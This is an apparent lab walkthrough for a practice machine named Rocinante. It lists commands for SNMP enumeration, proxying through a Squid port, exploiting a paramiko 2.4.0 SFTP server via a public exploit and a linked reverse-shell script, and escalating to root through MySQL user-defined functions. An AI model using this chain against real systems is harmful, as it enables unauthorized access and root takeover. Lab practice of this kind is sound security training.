Rocinante (.82)	
Operating System	Linux
Points	25
Similar Machine (User)	HackTheBox’s RedCross
Similar Machine (Root)	

Exploit in Getting User

1. Run UDP Scan - ***sudo nmap -sU 192.168.XX.221***
2. Download snmp-mibs-downloader - ***apt-get install snmp-mibs-downloader***
3. SNMP is enabled so run this - ***snmpwalk -v 1 -c public 192.168.XX.221 >snmpwalk.out***
4. ***vim /etc/snmp/snmp.conf*** and and comment out the only uncommented line to use the mibs ***mibs +ALL***
5. Run ***snmpwalk -v 1 -c public 192.168.XX.221 hrSWRunParameters*** and you will get *HOST-RESOURCES-MIB::hrSWRunParameters.704 = STRING: "/usr/local/bin/paramiko_2.4.0_sftpserver.py 0.0.0.0 2222 /etc/ssl/roci_rsa.key"*
6. Edit proxychain - ***vim /etc/proxychains.conf*** and put ***http 192.168.XX.221 3128***
7. Then run - ***proxychains curl http://127.0.0.1:2222*** and you will get connected *|S-chain|-<>-192.168.32.221:3128-<><>-127.0.0.1:2222-<><>-OK SSH-2.0-paramiko_2.4.0*
8. Use Paramiko 2.4.1 exploit - https://www.exploit-db.com/exploits/45712
9. Edit the exploit
   Get local - print(sftp.get('/home/roci/local.txt','local.txt'))
   List Dir - print(sftp.listdir('/'))
10. Run **proxychains python exploit.py**
11. Or if you don’t want to edit too much in Step 8 to 10. Use this to get reverse shell https://github.com/jm33-m0/CVE-2018-7750/blob/master/rce.py
12. User shell!

Privilege Escalation to Root

1. Follow https://www.exploit-db.com/exploits/1518
2. Check /etc/mysql/mariadb.conf.d/50-server.cnf and /etc/mysql/my.cnf
3. Change the line “user=mysql” to “user=root” in the file /etc/my.cnf.
4. mysql -u root -p
5. You may follow this https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/
6. Root shell!